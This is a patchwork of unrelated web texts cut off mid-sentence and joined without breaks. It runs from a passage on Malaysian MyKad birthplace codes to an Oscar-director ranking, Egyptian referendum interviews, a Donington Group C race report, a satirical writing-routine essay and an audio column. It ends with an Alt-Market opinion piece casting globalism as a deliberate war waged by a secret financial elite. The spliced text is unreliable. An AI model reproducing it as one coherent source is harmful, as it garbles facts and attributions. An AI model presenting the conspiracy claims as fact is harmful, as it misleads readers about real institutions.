However, since 2001, any baby who was born abroad after 2001 is referred according to their place of birth rather than general digit 71 or 72 in their MyKad. It also affected any person (including citizen or non-citizen) who was born abroad regardless of their year of birth; who applying MyKad without holding High Quality Identity Card after 2001. Despite that, if any person born abroad who already had High Quality Identity Card which means they registered their identity card before 2001, they still retain digit 71 or 72 to be used in their MyKad identity card number. High Quality Identity Card was in use as the Malaysia's identity card from 1990 to 2001. After 2001, a person with High Quality Identity Card is expected to renew their High Quality Identity Card with new MyKad.
PB Place of birth (in Malaysia)[8] 00 N/A 01 Johor 02 Kedah 03 Kelantan 04 Malacca 05 Negeri Sembilan 06 Pahang 07 Penang 08 Perak 09 Perlis 10 Selangor 11 Terengganu 12 Sabah 13 Sarawak 14 Federal Territory of Kuala Lumpur 15 Federal Territory of Labuan 16 Federal Territory of Putrajaya 17 N/A 18 N/A 19 N/A 20 N/A 21 Johor 22 Johor 23 Johor 24 Johor 25 Kedah 26 Kedah 27 Kedah 28 Kelantan 29 Kelantan 30 Malacca 31 Negeri Sembilan 32 Pahang 33 Pahang 34 Penang 35 Penang 36 Perak 37 Perak 38 Perak 39 Perak 40 Perlis 41 Selangor 42 Selangor 43 Selangor 44 Selangor 45 Terengganu 46 Terengganu 47 Sabah 48 Sabah 49 Sabah 50 Sarawak 51 Sarawak 52 Sarawak 53 Sarawak 54 Federal Territory of Kuala Lumpur 55 Federal Territory of Kuala Lumpur 56 Federal Territory of Kuala Lumpur 57 Federal Territory of Kuala Lumpur 58 Federal Territory of Labuan 59 Negeri Sembilan PB Place of birth (outside Malaysia / abroad)[9] 60 Brunei 61 Indonesia 62 Cambodia / Democratic Kampuchea / Kampuchea 63 Laos 64 Myanmar 65 Philippines 66 Singapore 67 Thailand 68 Vietnam 69 N/A 70 N/A 71 A person born outside Malaysia prior to 2001
Excluding those born abroad without holding High Quality Identity Card 72 A person born outside Malaysia prior to 2001
Excluding those born abroad without holding High Quality Identity Card 73 N/A 74 China 75 India 76 Pakistan 77 Saudi Arabia 78 Sri Lanka 79 Bangladesh 80 N/A 81 N/A 82 Unknown state 83 American Samoa / Asia-Pacific / Australia / Christmas Island / Cocos (Keeling) Islands / Cook Islands / Fiji / French Polynesia / Guam / Heard Island and McDonald Islands / Marshall Islands / Micronesia / New Caledonia / New Zealand / Niue / Norfolk Island / Papua New Guinea / Timor Leste / Tokelau / United States Minor Outlying Islands / Wallis and Futuna Islands 84 Anguilla / Argentina / Aruba / Bolivia / Brazil / Chile / Colombia / Ecuador / French Guinea / Guadeloupe / Guyana / Paraguay / Peru / South America / South Georgia and the South Sandwich Islands / Suriname / Uruguay / Venezuela 85 Africa / Algeria / Angola / Botswana / Burundi / Cameroon / Central African Republic / Chad / Congo-Brazzaville / Congo-Kinshasa / Djibouti / Egypt / Eritrea / Ethiopia / Gabon / Gambia / Ghana / Guinea / Kenya / Liberia / Malawi / Mali / Mauritania / Mayotte / Morocco / Mozambique / Namibia / Niger / Nigeria / Rwanda / Réunion / Senegal / Sierra Leone / Somalia / South Africa / Sudan / Swaziland / Tanzania / Togo / Tonga / Tunisia / Uganda / Western Sahara / Zaire / Zambia / Zimbabwe 86 Armenia / Austria / Belgium / Cyprus / Denmark / Europe / Faroe Islands / France / Finland / Finland, Metropolitan / Germany / Germany, Democratic Republic / Germany, Federal Republic / Greece / Holy See (Vatican City) / Italy / Luxembourg / Macedonia / Malta / Mediterranean / Monaco / Netherlands / Norway / Portugal / Republic of Moldova / Slovakia / Slovenia / Spain / Sweden / Switzerland / United Kingdom-Dependent Territories / United Kingdom-National Overseas / United Kingdom-Overseas Citizen / United Kingdom-Protected Person / United Kingdom-Subject 87 Britain / Great Britain / Ireland 88 Bahrain / Iran / Iraq / Palestine / Jordan / Kuwait / Lebanon / Middle East / Oman / Qatar / Republic of Yemen / Syria / Turkey / United Arab Emirates / Yemen Arab Republic / Yemen People's Democratic Republic 89 Far East / Japan / North Korea / South Korea / Taiwan 90 Bahamas / Barbados / Belize / Caribbean / Costa Rica / Cuba / Dominica / Dominican Republic / El Salvador / Grenada / Guatemala / Haiti / Honduras / Jamaica / Martinique / Mexico / Nicaragua / Panama / Puerto Rico / Saint Kitts and Nevis / Saint Lucia / Saint Vincent and the Grenadines / Trinidad and Tobago / Turks and Caicos Islands / Virgin Islands (USA) 91 Canada / Greenland / Netherlands Antilles / North America / Saint Pierre and Miquelon / United States of America 92 Albania / Belarus / Bosnia and Herzegovina / Bulgaria / Byelorussia / Croatia / Czech Republic / Czechoslovakia / Estonia / Georgia / Hungary / Latvia / Lithuania / Montenegro / Poland / Republic of Kosovo / Romania / Russian Federation / Serbia / Soviet Union / U.S.S.R. / Ukraine 93 Afghanistan / Andorra / Antarctica / Antigua and Barbuda / Azerbaijan / Benin / Bermuda / Bhutan / Bora Bora / Bouvet Island / British Indian Ocean Territory / Burkina Faso / Cape Verde / Cayman Islands / Comoros / Dahomey / Equatorial Guinea / Falkland Islands / French Southern Territories / Gibraltar / Guinea-Bissau / Hong Kong / Iceland / Ivory Coast / Kazakhstan / Kiribati / Kyrgyzstan / Lesotho / Libya / Liechtenstein / Macau / Madagascar / Maghribi / Malagasy / Maldives / Mauritius / Mongolia / Montserrat / Nauru / Nepal / Northern Marianas Islands / Outer Mongolia / Palau / Palestine / Pitcairn Islands / Saint Helena / Saint Lucia / Saint Vincent and the Grenadines / Samoa / San Marino / São Tomé and Príncipe / Seychelles / Solomon Islands / Svalbard and Jan Mayen Islands / Tajikistan / Turkmenistan / Tuvalu / Upper Volta / Uzbekistan / Vanuatu / Vatican City / Virgin Islands (British) / Western Samoa / Yugoslavia 94 N/A 95 N/A 96 N/A 97 N/A 98 Stateless / Stateless Person Article 1/1954 99 Mecca / Neutral Zone / No Information / Refugee / Refugee Article 1/1951 / United Nations Specialized Agency / United Nations Organization / Unspecified Nationality
Applications on MyKad [ edit ]
The MyKad project was developed was originally intended to have four functions:
Identity card, including fingerprints and photo
Driving licence
Travel document in Malaysia and several neighbouring countries. However, a conventional passport is still required for international travel: the card is aimed at reducing congestion at the border by enabling the use of unmanned gates using biometric (fingerprint) identification.
Storage of health information
Current applications [ edit ]
Four further applications were added before or during its initial release,
At this time, most[specify] of the functions are still not widely used because they are not widely promoted[citation needed].
Future / proposed applications [ edit ]
The extensible design of the card may be leading to functionality creep.[citation needed] Further applications envisaged by the government include:
Frequent travellers' card
Merge with the Payment Multi-Purpose Card ('PMPC'), giving the MyKad credit and debit card functions that will pave the way for other financial uses
Personal identification [ edit ]
MyKad must be carried at all times. Failure to do so may incur a fine of between RM3,000 and RM20,000 or jail term of up to three years. (This rule has been abolished as of 2006, see s. 2(u) of National Registration Act 1959.) [10][11]
No unauthorised people, including security guards, are allowed to retain the MyKads of other people. Only those authorised by the National Registration Department, like the police and immigration officers, can do so.
For Muslim citizens, "Islam" is printed on the card below the picture of the holder. This is to help the enforcement of Shariah law which is only applicable to Muslims.
As the state of Sabah and Sarawak maintain separate immigration controls, citizens who are born in the state of Sabah and Sarawak are denoted by the letters "H" and "K" respectively on the bottom right corner of the card.
Public Key Infrastructure (PKI) [ edit ]
MyKad's Public Key Infrastructure (PKI) application allows for two digital certificates to be inserted. MyKad holders can apply and purchase the digital certificates from two of Malaysia's certification authority, MSCTrustgate.com Sdn. Bhd. and DigiCert Sdn. Bhd..
PKI allows for easy securing of private data over public telecommunications networks, thus allowing, secure electronic transactions over the Internet which include:
Online submission of tax returns
Internet banking
Secure email
MyKad as a travel document [ edit ]
Citizens from Peninsular Malaysia travelling to Sabah and Sarawak can produce a MyKad on arrival to obtain a Document in Lieu of Internal Travel Document (IMM.114) for social and business visits not more than three months. Sabah and Sarawak each maintains a separate immigration control system, and Peninsular Malaysians are subject to immigration control in the two states.
Malaysia and Brunei signed a frequent travellers cards (FTC) agreement on 10 September 2007, allowing Malaysian and Bruneian frequent travellers to register to use their national identity cards for travel between Malaysia and Brunei.[12]
As Malaysia stopped issuing and renewing Restricted |
only been cited by Oscar once, and that’s with a nominee in Best Director for Black Swan. This year sees him back competing again for a spot at the table, this time with the mysterious Mother!, written and directed by him. Very little is known about it, but it stars Jennifer Lawrence, so if it’s good, it’ll have her in play, with Aronofsky potentially along for the ride as well. Stay tuned!
5. David O. Russell – Few artists in Hollywood seems more determined to finally win an Oscar than Russell. I don’t mean it as a bad thing either, just that his work of late is so Academy friendly, his candidacy feels inevitable. There was a run where three outings in a row got him his first nominations, totaling five (Best Adapted Screenplay for Silver Linings Playbook, Best Original Screenplay for American Hustle, and Best Director for American Hustle, The Fighter, and Silver Linings Playbook). He wasn’t able to crack the code with Joy, so perhaps now he might seem more due to voters? Sit tight and we’ll find out if this is finally Russell’s time.
4. Ridley Scott – Most folks are shocked to learn that Scott has always been a bridesmaid but never a bride. A three time Best Director nominee (for Black Hawk Down, Gladiator, as well as Thelma & Louise), Scott has been in a bit of a funk of late, but The Martian was undoubtedly his comeback. A fourth nomination in Director just missed happening, and had he gotten nominated, there was a chance he would have won. Will he be back? That may or may not happen, given his inconsistent nature, but there’s no question that he’s among the most due directors in the business.
3. David Fincher – Is there a more exacting director out there than Fincher? The air of perfection surrounds him in a way not seen since Stanley Kubrick. As such, a Best Director prize seems a given for him one of these days. A two time nominee, for The Curious Case of Benjamin Button as well as for The Social Network, Fincher will win eventually. Honestly, it just really takes him deciding on a new film to make. Once he does, he’ll be even closer to the top of this list.
2. Paul Thomas Anderson – No longer a wunderkind, Anderson is simply just one of the masters out there. He has a half dozen nominations to his credit (Best Original Screenplay for Boogie Nights and Magnolia, Best Adapted Screenplay as well as Best Director and Best Picture There Will Be Blood, plus Best Adapted Screenplay for Inherent Vice), but no win, which makes him incredibly overdue for a victory. He’s working with Daniel Day-Lewis on another movie, this one currently untitled, so 2017 could be the year for Anderson. Sit tight there…
1. Christopher Nolan – The rare filmmaker who has as many comic book fanboys worshipping him as art house patrons, Nolan is the most due director in the business. A three time nominee (Best Original Screenplay for Inception and Memento, as well as Best Picture for the former flick), he’s never been nominated in Best Director, so that’s really where to look for an eventual victory. Nolan will be on all the short lists this year with Dunkirk hitting in the summer, so we’ll just have to see how that one plays. It would make a ton of sense for him to win for this one, but it all depends on the quality of the film, right? Right.
Honorable Mention: J.C. Chandor, Stephen Daldry, Guillermo del Toro, Drew Goddard, Spike Lee, Terrence Malick, Oren Moverman, Billy Ray, Taylor Sheridan, and Paul Weitz
Stay tuned to see if anyone here can pull off a win this year or in the years to come!Many Egyptians say they plan to cast a ballot for the first time in their lives as a referendum on changes to the constitution takes place on Saturday, 19 March.
Yet, society is sharply divided over the changes, which many prominent supporters of the 25 January revolution, say do not go far enough. The Supreme Military Council, that rules Egypt, is keen to press ahead with reforms so that it can stick to its timetable of holding parliamentary and presidential elections within six months. Egyptians who joined the anti-government protests in Tahrir Square explain which way they have decided to vote.
Nayra Ijjeh, education consultant
I will be voting "no" because I think the legitimacy of the constitution collapsed the day [President Hosni] Mubarak left. Trying to work around a constitution that no longer exists is not a good idea. I think we should have a short, transitional constitution, something that regulates the powers of the president. We don't need more than 200 articles, 90% of which are no longer valid, and are actually contradictory to those that have been changed. We are heading towards another dictatorship if we go with these amendments only.
Having said all this, of course I do recognise that some people will vote "yes". They have their valid reasons. This is the first time I will turn out to vote and I will respect the result if it is "yes".
We will have to find alternative ways of dealing with it. I am hoping and praying there will be a big turnout. Participation is the most important thing.
I was in Tahrir Square every day until Mubarak left. I was fighting on Facebook as well. This is the first time I have taken part in public politics. There is a huge political debate and people are extremely interested, vocal and articulate. This is a pleasure to hear.
Ahmed Ali Abdul Wahab, engineer for a petrol company
God willing, there will be a "yes" vote for the constitutional changes because we deserve security and stability. If all of us vote "yes", the next day normal life will resume and we will back on the right track. I am praying that all sensible people will vote "yes". I feel that the majority supports these changes.
I was in Tahrir Square, not from the very beginning but from the 28 January. I never voted in an election before because I didn't trust the old regime. This time it will be different. I will definitely go and vote. I will take my sons and my brothers. My brother says he will vote "no" but I won't put pressure on him to vote "yes". This is a democratic process.
I would like to call on all the political and religious leaders in this country to avoid putting pressure on people by telling them how to vote. There are simple people who love them and would be guided by them. However this is a democratic process and everyone has to think for themselves.
It is important to remember that we made a revolution before and we can make one every day. Tahrir Square is still there. If things go wrong and we want to stop them, we can always gather and go back.
Nur Ayman, political activist, son of opposition leader, Ayman Nur
I'll be voting "no" because after 40 years with the same constitution it is clear it has failed to achieve anything. After bringing down a dictator of 30 years, after successfully starting a revolution, the least we can do is to establish a new constitution. It would be a good, solid foundation for long-term development.
Legally, politically and symbolically speaking, it will make a difference if we say "no". It proves to the population and the military that we will not settle for less than a whole new constitution. The problem is not about the time it will take to write one, because law professors and politicians and political parties have been writing drafts for many years. The problem is with the implementation, which is in the hands of the army.
I am a bit excited that for the first time in Egyptian modern history, voting is taking place in a relatively free and fair environment.
Still it's a two-sided story because many think the vote is too soon because people are not fully aware of what these amendments mean.
Ahmed
I have never voted in any election before but I will definitely go to vote "yes" this time. That's because these changes are exactly what we need and what we have been calling for since the start of the revolution. I can't say that they go far enough, but they are sufficient for now. We have other demands but for me this is a good beginning.
This process will help create more trust for people. It shows there will be more democracy and more freedom.
I was in Tahrir Square from the 25 January. We were all calling to end the state of emergency and for political reforms. The constitutional reforms will help achieve this. I am surprised that the 25t January Youth Coalition is against the changes because they were supporting precisely these ideals at the outset. I believe that overall there will be a "yes" vote.
Everyone has got their own vote and opinion. I don't know how my family and friends will vote but I guess they will be with me. We must take this step forward.Next Chapter >
Most of the races at the 2012 Donington Historic Festival deliberately looked back in time to overtly historic periods in racing, ones where the aesthetics of the participating cars painted a clear picture of yesteryear. After all, a Jaguar E-Type, Aston Martin DBR1 or Lotus Cortina hark back to an obviously different time when compared with the Group C and IMSA GTP racers they shared the bill with. The late ’80s and early ’90s sports prototypes were a stark counter-point, oozing lightweight materials, modern aerodynamics and technology.
Group C cars emanate a certain spirit – a potent force. They represent the great pinnacle of world sportscar racing: a dozen years between 1982 and 1993 when sportscars reached for and at times overtook Formula 1 as the pre-eminent global motorsport series.
The manufacturers were all there; the top drivers went to sportscars to learn their trade before single-seaters. No longer were the F1 cars unchallenged as the fastest, most technology-laden racers on the planet.
The Group C Racing organisation who oversee the running of GTP and Group C-rules races in Europe constantly manage to find new and rare examples of relevant machinery for their series: it’s not just about Porsches and Jaguars. This year the unique Veskanda was given its European debut: it’s one of only two Australian Group C cars produced. Having dominated the national sportscar scene for three years, the Veskanda got a chance to race at international level in the C1 category when the World Sports Prototype series ran at Sandown in 1988.
There was also an example of the IMSA Nissan NPTi90, which was developed by the North American arm of Nissan in 1990 and helped take the marque to its second consecutive IMSA GTP constructors’ championship.
The Group C Racing series will take in half a dozen events in 2012, with Donington its opening round. The most prestigious event will be in June, when the Group C cars will once again be the opening act before the 24 Hours of Le Mans. This is the event where everyone brings their car out to play – after all, it’s their natural environment – and usually the turn-out is increased exponentially.
Unfortunately three cars that were present at Donington weren’t able to take part in the race itself, including this Peugeot 905B from 1992. But at least you could still get the chance to see these cars in their carbon-fibre flesh.
Another non-starter was the third Porsche at Donington: the Leyton House Porsche 962.
The third car was this Nissan R90CK: five of these cars were entered in the 1990 running of the Le Mans 24 Hours.
With cars of this complexity it’s almost impossible to run them without a professional team behind you, which is why some well-known sportscar teams either run classic Group C cars on the side or have swapped over completely. Chamberlain Synergy raced LMP1 and LMP2 cars at Le Mans between 2005 and 2008 before dipping a toe in the Group C water – they now oversee a whole stable of racers.
Even the second-tier C2 cars are hardly child’s play: they all require an enormous amount of support to keep them running.
As Group C and IMSA GTP evolved and the development was increased so aerodynamics came to the fore: the Jaguar XJR16 produced levels of downforce that would suck in neighbouring planets. All of this aero needs careful management and set-up now as then.
Back in the garages the crews were constantly busy working on their cars. This is the Nissan R91CP that finished second overall in the series last year. The car was originally built in 1991, and was based on the 1990 R90 chassis designed by Lola with a set of updates including improved aero, brakes and suspension refinements.
CGA Race Engineering had carried out a full rebuild of the car from the ground up over the winter – the twin turbo V8 is a phenomenal piece of engineering to behold. Its 800hp would prove a problem come the race…
Almost all the cars retain not only their original liveries but also driver stickers, which gives the modern drivers the chance to put their name next to the original crew’s names. Some of these are the greats of the Group C era or ones, like Heinz-Harald Frenzen and a certain Michael Schumacher, represented the next generation of F1 drivers.
Seeing the cars in the garages, shorn of bodywork, gives you a much better idea of the complexity of the cars. The engine bays are riots of looms, pipes and tubing. You hope they come with manuals when you buy one…
Despite all the potential problems of running these cars, the reverse can be true as well: prototypes that never delivered on their promise in period can be turned into stunningly quick and reliable machines given modern updates and support.
Five Aston Martin AMR1 chassis were built in the late ’80s as a joint programme between Callaway in the States (working on the engine) and Ecurie Ecosse in the UK (running the race team).
The cars were never given the full support of their new Ford owners, who also owned Jaguar at the time, and the programme was axed in 1989. Now the 900kg, 700hp, V8-powered C1 car is a front-runner.
A personal favourite of mine is the Lancia LC2, one of the most beautiful Group C cars ever. Their speed was never matched by reliability in period and despite 13 pole positions the cars won just three races between 1983-86. But they looked amazing nonetheless, with their timeless Martini liveries and Dallara-designed curvaceous bodies.
The Chamberlain-Synergy are also wardens of this LC2’s sister – the thought of the pair out on track this year is something that is difficult to come to terms with… The fact that the team also oversee the Sauber-Mercedes C9 (with another C11 back at base), the Peugeot 905 and a Jaguar could lead one to think that they are rather spoilt.
Gorgeous on the outside, it has to be said that on the inside the Lancia smacks of Italian road cars of the era: there’s none of the refinement present in the Porsches, for instance. But still. The emotion! And the sound of the twin-turbocharged Ferrari V8. Oh the sound!
Around Donington the sharp-end of the Group C field was blisteringly fast: the C9 was edging towards the one-minute lap mark around the two-mile National layout, which misses out the Melbourne Loop.
The sense of anticipation rose as the cars began to be pushed out of their garages onto the apron, engines spluttering, and made their way down the pit-lane for their formation lap.
The later cars are brutes in every sense: F1-derived engines and huge downforce packages give them enormous presence on track.
The formation lap was a great opportunity to see the whole grid of cars together: there was quite a difference in lap-times between the cars at the front of the field and the back (which were still generally faster than anything else racing that day), which meant the field would quickly spread out.
The expected five were at the front of the grid: the Aston Martin (driven by contemporary Aston Martin LMP1 pilot Andy Meyrick), Mercedes, Lancia, Spice SE89 and Nissan… A Nissan with cold tyres and 800hp. The formation lap would unfortunately be the only chance to see the R91CP in one piece…
Disaster struck as the lights went out for the rolling start: the Nissan’s tyres spun up and the car speared off into the barrier head-first before spinning round and ripping off the rear. A horrible start for the race – and the newly rebuilt Nissan’s year.
The race continued unabated, as the Aston and Mercedes battled it out up front pursued by the Lancia and Spice.
The C2 contingent were also going strongly: Spice, Tiga and Ecurie Ecosse were stalwarts of this class in period, which was created as a low-cost alternative to the big-bucks factory efforts in C1. This is a 1986 IMSA Lights Argo JM19C.
Spice Engineering in particular managed to create a strong business in C2: they moved up into C1 and had notable success in the IMSA GTP class in the US, and built over 30 SE90 chassis. The Damax team were running this Spice SE88 alongside the AMR1 in the race – most recently they were running Ascari KZR1s in FIA GT3.
The colour of the Cheetah CT606 C2 racer meant its lines had echoes of a privateer Lancia LC2 entered in 1986.
I think you could see their influence… But the howling LC2 cut a very different figure on track from the C2 car.
The C9 was an absolute joy to watch: despite being sold at auction in 2008 for over a million pounds (and it being heavily crashed at Silverstone a couple of years ago), the car was being driven on the limit at Donington – an appropriate place for a Silver Arrow.
Because the series is open to the full range of Group C cars, it gives the great opportunity to see different evolutions of car side-by-side: Porsche 956 by 962, or more extreme in the case of the Jaguar XJR5B from 1985…
…and the IMSA GTP XJR16 from just six years later. That’s quite a development path.
The whoosh of the turbocharged Porsches was an easy aural identifier for the 956 and 962 in the race, as if the shape wasn’t unique enough.
Despite the damage done to the infield and the track itself during the abortive attempt to bring F1 to Donington, the restored track remains one of the most challenging in the country – and one of the best to spectate at.
The Craner Curves have an echo of the esses after the Dunlop chicane at Le Mans, but they’re a lot more challenging. Not bad for a piece of tarmac that follows the same line as the original layout of the track from 1931.
The AMR1 was imperious throughout the race: not missing a beat, it continued to blast round the track for the hour-long race without relinquishing the lead.
The C9 had been right at the front for the opening half dozen laps, but was then forced to play catch-up after repeating engine problems. But it carried on belting along, happy to just look great out on track – it would eventually finish up 11 laps behind the winners.
The race for the lead went down to the last lap: the Aston Martin AMR1 had been reeled in by the highly-developed C2 Spice SE89, and almost lost the lead on the rise to Coppice as they came up to lap the Veskanda. A highly-charged end to a highly-charged race! I can’t wait for Le Mans.
Jonathan Moore
More from the Donington Historics Festival 2012Hmm, what’s my process? Funny, I don’t think anyone’s ever asked me that before. I don’t really have a “process,” per se, just a simple routine that I meticulously follow every day like a disciplined genius robot.
I usually wake up around 5 or 5:05 A.M., and get out of bed immediately. I do not press snooze. I do not start scrolling through Twitter so that the brightness of my phone’s L.E.D. screen will force my eyes into awakeness, but then continue reading tweets for so long that my eyes adjust to the brightness and I get sleepy again.
I meditate first thing in the morning. I do this sitting down on a meditation pillow (which is not painful, because I have naturally good posture). I do not use a meditation app, because I am not a baby. I just set a timer to emit a gentle gong sound after an hour, and I empty my mind. When thoughts do arise, they are usually really smart thoughts about my writing, but I do not hold on to them in a panic, because I have enough faith in myself to know that they will return when it is time.
Then I run ten miles and make a smoothie. I don’t drink coffee, because that would probably just lead to hours of wondering if maybe I haven’t had enough coffee but being unwilling to drink more because I don’t want to get addicted and need more and more coffee every day just to be able to function. The smoothie usually has coconut oil in it—yum!
Finally, it’s time to write.
My desk is a clean, uncluttered expanse that I use solely for writing, and certainly not as a dumping ground for wedding invitations, gum wrappers, and grocery-store receipts that I’m afraid to throw away in case I need them for “tax purposes.” On the wall above my computer, I have taped up an index card with a quote from Kafka or Don DeLillo or some other cool writer, which inspires me anew each time I look at it. You’d think that I would become blind to it after a while, or that I might occasionally feel embarrassed by its pretentiousness when guests come over, but nope! It’s just constantly inspirational and not embarrassing.
I remain seated at my desk for the entirety of my writing session. (I do not attempt to convince myself that I could be just as productive if I were writing in bed, and that it would be kind of fun and “like college.”)
I don’t need to disable my Internet connection, because—honestly?—I’m not even tempted. I understand that social media does not hold the answers I seek, and that looking at it will only make me feel terrible. And, what’s more, my understanding of this fact translates seamlessly into my actual behavior.
I have a friendly relationship with the mysterious forces that govern my creative inspiration—my muses, if you will. When they visit me, a soft smile alights on my lips. “Hello, old friends,” I murmur fondly. My experience of writing is a giddy, pleasurable one, and does not feel like being trapped inside a cage that is on fire.
When I write, I let my characters speak through me—I am but a vessel for their words. I shut out all distractions and turn off my phone, because I definitely don’t worry that if I take too long to text people back they’ll decide they hate me and never text me again.
In the afternoon, I typically take a long walk. I do not listen to podcasts. Why would I? The music of the natural world is podcast enough. As you may have noticed, a running theme in my process is that I am not afraid to be alone with my thoughts. Not at all.
Of course, some days the muses may not visit me. When this occurs, I accept the situation with equanimity and give myself permission to write a clumsy first draft and vigorously edit it later. This approach is possible because I understand that my intrinsic self-worth is separate from my talent and my productivity, and because I know that I am deserving of love even if my writing is not very good. This gives me the freedom to take risks, which, in turn, actually makes my writing very good. Funny, right?
If I am truly stuck, I read a book. I do not watch a twenty-two-minute sitcom as a “break” from the immense stress of waking up and sitting down at a desk. Not even if there is a new episode on Hulu of a show I don’t particularly like but have seen every previous episode of.
Anyway, I guess that’s my process. It’s all about repetition, really—doing the same thing every single day. No one else in the world cares at all, yet I still do it! Because I, a human being, have the self-control to maintain this routine in a complete vacuum of social interaction or any positive reinforcement.
Oh, and I almost forgot—I go to bed super early. ♦In one of my earlier entries in this space, I lamented the lack of powered loudspeakers in the American marketplace. Where, I complained, were the compact, affordable, bi- or tri-amplified, DSP-smarts-enabled loudspeakers? Where were the products in the format that any intelligent engineer would identify as the only technically rational way to tackle the reproduction of musical sound?
Boy, did I underestimate the power of my pen. Today, barely three years later, the world is awash in cleverly designed, superbly compact speakers that combine multiple channels of built-in amplification and powerful digital signal processing to work their magic.
Trouble is, from an objective audio-quality vantage point, they are almost without exception mediocre at the very best, because the numberless (and in many cases faceless, too) active loudspeakers that now dominate the marketplace are all small, wireless, and Bluetooth. (Note to self: next time, start out by asking the genie for three more wishes….)
These portables, the 21st century's answer to the hoot-boxes of the '70s and '80s, check all my boxes: they use multiple channels of built-in power to drive multiple drivers—thought it's most often a single woofer and two or more mid-high-frequency drivers; they employ impressive DSP processing power to extend low-end reproduction, smooth frequency response to something more nearly approaching high fidelity, and to monitor driver temperatures and excursions to prevent voice-coils from melting or dinky cones and domes from launching themselves across the room. Trouble is, like the car radios of an earlier, simpler era, they are mostly engineered to maximize output, i.e. loudness, which means that bass extension, high-treble ability, midrange finesse, and most everything else are sacrificed to achieve kickin' mid-bass and the loudest possible middle three octaves, to get the tunes jammin' across the whole beach.
Not that I have anything against outdoor audio.
Well, maybe I do. I don't particularly care to hear somebody else's music (which all too often is some dude angrily screaming over heavily distorted, detuned guitars run through a sub-octave generator and playing open fifths more or less randomly up and down the fretboard) unrequested. But, unhappily, Bluetoth speakers are making this an increasingly common irritation. (Fortunately, I live in the country, so it's not a problem at home, just in public spaces.) Nor do I really mean to dis Bluetooth portables without qualification: I've heard some impressively good ones, and some amazingly small ones, so I'm ready to concede the engineering excellence they represent.
Just the same, they're not really about sound quality for its own sake—nor do they pretend to be. These days, an "audiophile" is coming to be defined as anybody that listens to a system you have to plug in.
I console myself with the knowledge that the skills this new generation of geeks have developed and brought to bear on today's wireless speakers are directly translatable to serious sound reproduction. The same knowledge and hands-on experience with built-in, Class D mini-amps, audio-DSP, and Thiele-Small parameters and fundamental loudspeaker design, could be applied, with very little adjustment, to designing a serious in-home, plug-in-powered, wired, active-DSP speaker of ear-opening quality and gob-smacking value.
Someday soon, I hope, some forward-looking engineer or corporate-climbing product manager is going to interrupt the monthly mini-BT-speaker development meeting to say, "Hey, you know what?! We could scale this puppy up, run it off 120vac instead of 6-volt battery rails, and program the DSP to derive full-range reproduction from a bookshelf-sized box while simultaneously correcting all kinds of driver non-linearities so that cheap drivers perform like costly ones, while even simultaneously measuring and correcting for the worst real-world room reflections and modes, and compensating for less-than-ideal placement—and it all wouldn't have to cost much more than a decent pair of passive speakers and a mid-market integrated amp! Think of the value! Consumers would beat a path to our door!"
Sigh.Submitted by Brandon Smith via Alt-Market.com,
When people unfamiliar with the liberty movement stumble onto the undeniable fact of the “conspiracy” of globalism they tend to look for easy answers to understand what it is and why it exists. Most people today have been conditioned to perceive events from a misinterpreted standpoint of “Occam’s Razor” — they wrongly assume that the simplest explanation is probably the right one.
In fact, this is not what Occam’s Razor states. Instead, to summarize, it states that the simplest explanation GIVEN THE EVIDENCE at hand is probably the right explanation.
It has been well known and documented for decades that the push for globalism is a deliberate and focused effort on the part of a select “elite;” international financiers, central bankers, political leaders and the numerous members of exclusive think tanks. They often openly admit their goals for total globalization in their own publications, perhaps believing that the uneducated commoners would never read them anyway. Carroll Quigley, mentor to Bill Clinton and member of the Council on Foreign Relations, is often quoted with open admissions to the general scheme:
“The powers of financial capitalism had (a) far-reaching aim, nothing less than to create a world system of financial control in private hands able to dominate the political system of each country and the economy of the world as a whole. This system was to be controlled in a feudalist fashion by the central banks of the world acting in concert, by secret agreements arrived at in frequent meetings and conferences. The apex of the systems was to be the Bank for International Settlements in Basel, Switzerland; a private bank owned and controlled by the world’s central banks which were themselves private corporations. Each central bank… sought to dominate its government by its ability to control Treasury loans, to manipulate foreign exchanges, to influence the level of economic activity in the country, and to influence cooperative politicians by subsequent economic rewards in the business world.” - Carroll Quigley, Tragedy And Hope
The people behind the effort to enforce globalism are tied together by a particular ideology, perhaps even a cult-like religion, in which they envision a world order as described in Plato’s Republic. They believe that they are “chosen” either by fate, destiny or genetics to rule as philosopher kings over the rest of us. They believe that they are the wisest and most capable that humanity has to offer, and that through evolutionary means, they can create chaos and order out of thin air and mold society at will.
This mentality is evident in the systems that they build and exploit. For example, central banking in general is nothing more than a mechanism for driving nations into debt, currency devaluation, and ultimately, enslavement through widespread economic extortion. The end game for central banks is, I believe, the triggering of historic financial crisis, which can then be used by the elites as leverage to promote complete global centralization as the only viable solution.
This process of destabilizing economies and societies is not directed by the heads of the various central banks. Instead, it is directed by even more central global institutions like the International Monetary Fund and the Bank for International Settlements, as outlined in revealing mainstream articles like Ruling The World Of Money published by Harpers Magazine.
We also find through the words of globalists that the campaign for a “new world order” is not meant to be voluntary.
“… When the struggle seems to be drifting definitely towards a world social democracy, there may still be very great delays and disappointments before it becomes an efficient and beneficent world system. Countless people … will hate the new world order … and will die protesting against it. When we attempt to evaluate its promise, we have to bear in mind the distress of a generation or so of malcontents, many of them quite gallant and graceful-looking people.” - HG Welles, Fabian Socialist and author of The New World Order “In short, the ‘house of world order’ will have to be built from the bottom up rather than f rom the top down. It will look like a great ‘booming, buzzing confusion,’ to use William James’ famous description of reality, but an end run around national sovereignty, eroding it piece by piece, will accomplish much more than the old-fashioned frontal assault.” - Richard Gardner, member of the Trilateral Commission, published in the April, 1974 issue of Foreign Affairs “The New World Order cannot happen without U.S. participation, as we are the single most significant component. Yes, there will be a New World Order, and it will force the United States to change its perceptions.” - Henry Kissinger, World Action Council, April 19, 1994
I could quote globalists all day long, but I think you get the general idea. While some people see globalism as a “natural offshoot” of free markets or the inevitable outcome of economic progress, the reality is that the simplest explanation (given the evidence at hand) is that globalism is an outright war waged against the ideal of sovereign peoples and nations. It is a guerrilla war, or fourth generation warfare, waged by a small group of elites against the rest of us.
A significant element of this war concerns the nature of borders. Borders of nations, states and even towns and villages, are not just lines on a map or invisible barriers in the dirt. This is what the elites and the mainstream media would like us to believe. Instead, borders when applied correctly represent principles; or at least, that is supposed to be their function.
Human beings are natural community builders; we are constantly seeking out others of like-mind and like-purpose because we understand subconsciously that groups of individuals working together can (often but not always) accomplish more. That said, human beings also have a natural tendency to value individual freedom and the right to voluntary association. We do not like to be forced to associate with people or groups that do not hold similar values.
